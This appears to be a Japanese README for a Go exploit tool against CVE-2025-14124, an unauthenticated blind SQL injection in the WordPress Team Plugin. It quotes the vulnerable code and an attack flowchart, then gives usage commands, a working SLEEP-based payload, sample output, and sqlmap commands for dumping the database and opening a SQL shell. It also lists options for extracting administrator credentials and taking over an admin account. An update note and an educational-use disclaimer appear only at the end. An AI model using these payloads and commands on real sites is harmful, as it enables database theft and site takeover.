
未認証のSQLインジェクション(時間ベースのブラインド)
著者: Hyun Chiya
| フィールド | 値 |
|---|---|
| CVE ID | CVE-2025-14124 |
| プラグイン | WordPress Team Plugin |
| 影響を受けるバージョン | < 5.0.11 |
| 脆弱性タイプ | 未認証SQLインジェクション (時間ベースブラインド) |
| 深刻度 | 高 |
WordPress Team Pluginは、認証されていないユーザーが利用可能なAJAXアクションを介してSQL文で使用する前に、searchパラメータを適切にサニタイズおよびエスケープしていないため、SQLインジェクションが発生します。
脆弱なコードはapp/Controllers/Frontend/Ajax/LoadMore.phpにあります:
// Line 221 - User input sanitized but NOT SQL-escaped
$sAction = sanitize_text_field( wp_unslash( $_REQUEST['search'] ) );
// Line 437-438 - VULNERABLE: Direct SQL concatenation
function tlp_team_search_where( $where ) {
global $wpdb;
$term = $wpdb->esc_like( $this->s['s'] ); // ⚠️ esc_like only escapes %, _, \
$where .= "OR ({$wpdb->posts}.post_title LIKE '%{$term}%' ...)"; // ⚠️ SQLi!
}
問題点: $wpdb->esc_like()はLIKEワイルドカードのみエスケープし、SQLインジェクションのメタ文字はエスケープしません。
flowchart TD
A["Attacker finds page with [tlpteam] shortcode"] --> B["Extract tlp_nonce and data-sc-id"]
B --> C["POST to /wp-admin/admin-ajax.php"]
C --> D["action=ttp_Layout_Ajax_Action<br/>search=SQL_PAYLOAD"]
D --> E{"Nonce valid?"}
E -->|Yes| F["SQL query executed with payload"]
F --> G["Time-based detection via SLEEP()"]
style F fill:#ff6b6b,stroke:#c92a2a,color:#fff
style G fill:#51cf66,stroke:#2f9e44,color:#fff
[tlpteam]ショートコードを含むページが存在することgo build -o CVE-2025-14124.exe main.go
.\CVE-2025-14124.exe -u http://target.com
.\CVE-2025-14124.exe -u http://target.com --page-url http://target.com/our-team/
.\CVE-2025-14124.exe -u http://target.com --check-only
.\CVE-2025-14124.exe -u http://target.com --delay 5
| 引数 | 説明 |
|---|---|
-u | ターゲットWordPress URL(必須) |
--page-url | tlpteamショートコードを含むページURL |
--delay | 検出のためのSLEEP秒数(デフォルト: 1) |
--dump | データベース情報とWordPress管理者認証情報を抽出 |
--create-admin | 管理者アカウントの乗っ取りを試行(スタッククエリが必要) |
--admin-user | 管理者乗っ取りのユーザー名(デフォルト: pwned_admin) |
--admin-pass | 管理者乗っ取りのパスワード(デフォルト: Pwned123!) |
--check-only | プラグインがアクティブかどうかのみチェック |
--timeout | リクエストタイムアウト秒数(デフォルト: 120) |
--dump)--dumpを使用すると、このツールは以下を抽出します:
注記: 時間ベースブラインドSQLインジェクションの性質上、データ抽出は遅くなります(完全抽出に約5〜15分)。
--create-admin)SQL UPDATEを介して既存の管理者パスワードの変更を試みます。
⚠️ 重要: このモードではスタッククエリのサポートが必要ですが、通常PHP+MySQLでは無効になっています。スタッククエリがサポートされていない場合は、代わりに
--dumpを使用して認証情報を抽出するか、sqlmap --sql-shellを使用して直接UPDATEを実行してください。
>> [ ONLINE ]
╔═══════════════════════════════════════════════════════════════════════════════════════╗
║ CVE-2025-14124 - WordPress Team Plugin SQL Injection ║
║ Affected: tlp-team < 5.0.11 ║
║ Author: Hyun Chiya ║
╚═══════════════════════════════════════════════════════════════════════════════════════╝
>> [ INFORMATION ]
[*] Checking if WordPress Team Plugin is active...
[+] Plugin detected: /wp-content/plugins/tlp-team/readme.txt
[+] Plugin detected!
[*] Searching for page with tlpteam shortcode...
[+] Found team page: http://target.com/our-team/
[+] Target page: http://target.com/our-team/
[+] Extracted nonce: abc123def456
[+] Extracted scID: 42
============================================================
[*] EXPLOIT: Time-Based Blind SQL Injection
============================================================
[*] Payload: t' OR SLEEP(3) OR 't'='t
[*] Expected delay: ~9 seconds (SLEEP executes 3 times)
[*] Sending malicious request...
[*] Response time: 9.23 seconds
[+] SQL INJECTION CONFIRMED!
[+] Response delayed by ~9 seconds (expected: 9)
[!] The target is vulnerable to Time-Based Blind SQL Injection
[!] Database can be extracted using tools like sqlmap
[*] Done.
高度な悪用には、脆弱性を確認した後にsqlmapを使用できます:
# Dump database
sqlmap -u "http://target.com/wp-admin/admin-ajax.php" \
--data="action=ttp_Layout_Ajax_Action&scID=32&tlp_nonce=NONCE&search=test" \
-p search --dbms=mysql --technique=T --batch --dump
# SQL Shell (for UPDATE queries)
sqlmap -u "http://target.com/wp-admin/admin-ajax.php" \
--data="action=ttp_Layout_Ajax_Action&scID=32&tlp_nonce=NONCE&search=test" \
-p search --dbms=mysql --technique=T --sql-shell
⚠️ 重要: 脆弱性が
$wpdb->prepare()を使用した適切なSQLエスケープで修正されたバージョン5.0.11以降にWordPress Team Pluginを更新してください。
このツールは教育および許可されたセキュリティテスト目的のみで提供されます。コンピュータシステムへの不正アクセスは違法です。責任を持って使用してください。
Hyun Chiya